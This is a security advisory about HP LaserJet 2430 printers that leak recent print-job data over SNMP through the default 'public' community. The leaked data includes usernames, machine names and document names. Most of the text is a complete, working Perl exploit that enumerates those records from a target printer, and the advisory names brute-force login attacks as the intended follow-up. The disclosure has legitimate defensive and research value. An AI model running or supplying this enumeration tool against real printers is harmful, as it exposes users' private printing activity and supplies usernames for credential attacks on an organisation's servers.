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HP LaserJet printers has an extensive administrative user interface provided over SNMP. SNMP is normally used for monitoring applications and servers performance but can also be used to perform remote configurations.
Fully access document information exists on HP LaserJet printers that allow attackers retrieve sensitive information from the printers. |
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Credit:
The information has been provided by Pinion Lab.
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Vulnerable Systems:
* HP LaserJet 2430
Pinion has discovered that HP LaserJet printers store information regarding recently printed documents. Information such as document name, title, number of pages, document size, user who has printed the document and the machine name where the print job was initiated.
This document information "cache" is flushed when the document is older then one hour but in mean time, the information can be obtained by anyone with access to the network and who has information regarding the "public" SNMP community configured at the printer.
In reality, an intruder could use this information to obtain possible usernames that later could be used in a login brute force attack against servers.
Vendor response :
"This information is kept by the printer in the printer specific MIB. Jetdirect controls the authentication and subsequent authorization to all the MIBs. This authentication/authorization can be controlled via SNMP settings."
Reference:
"HP Jetdirect Embedded Print Server Administrator's Guide":
Additional information regarding HP Jetdirect security is available here:
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=bpj05999
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c00004828
Exploit:
#!/usr/bin/perl
#####################################################################
##
## HP LaserJet SNMP User name enumeration tool v0.2 by
## Pinion Labs 050705
## george[46]hedfors[64]pinion[46]se
## http://www.pinion.se
##
## Description
## HP LaserJet printers loggs recent printed documents with
## timestamp, size, number of pages, username and machine name.
## These can be extracted using a specially crafted SNMP Object ID.
##
## Document name under 1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.1
## Document pages under 1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.12
## Document size under 1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.14
## Usernames are found under 1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.1
## Machine names under 1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.2
##
## Output format
## DocID:Username:Machine:Pages:Size:DocName
##
##
use Net::SNMP;
## Number of errors in row that is tolerated before exit
$tolerance = 10;
## Default SNMP community to use
$defcommunity = "public";
## Default SNMP port to use
$defport = 161;
### END OF CONFIG ###
$host = $ARGV[0] || die "syntax: $0 victim.com \[community\] ".
"\[startid\]\n";
$community = $ARGV[1] || $defcommunity;
$startid = $ARGV[2] || 0;
($session, $error) = Net::SNMP->session(-hostname => $host,
-community => $community,
-port => $defport);
if (!defined($session)) {
printf("ERROR: %s.\n", $error);
exit 1;
}
for($i = $startid; $err < $tolerance; $i++) {
$oid = "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.1.$i.0";
$result = $session->get_request(-varbindlist => [$oid]);
if (!defined($result)) {
if($found > 0) {
$err++;
}
} else {
$found++;
($null, $user) = split(/\=/, $result->{$oid}, 2);
$oid = "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.2.$i.0";
$result = $session->get_request(-varbindlist => [$oid]);
($null, $id) = split(/\=/, $result->{$oid}, 2);
$oid = "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.1.$i.0";
$result = $session->get_request(-varbindlist => [$oid]);
$doc = hex2ascii($result->{$oid});
$oid = "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.12.$i.0";
$result = $session->get_request(-varbindlist => [$oid]);
$pages = $result->{$oid};
$oid = "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.14.$i.0";
$result = $session->get_request(-varbindlist => [$oid]);
$size = $result->{$oid};
printf("%d:%s:%s:%s:%s:%s\n", $i, $user, $id, $pages, $size, $doc);
$err = 0;
}
}
$session->close;
exit 0;
sub hex2ascii() {
my $hex = shift;
my $asc;
for($n = 6; $n < length($hex); $n += 2) {
$asc .= chr(hex(substr($hex, $n, 2)));
}
return $asc;
}
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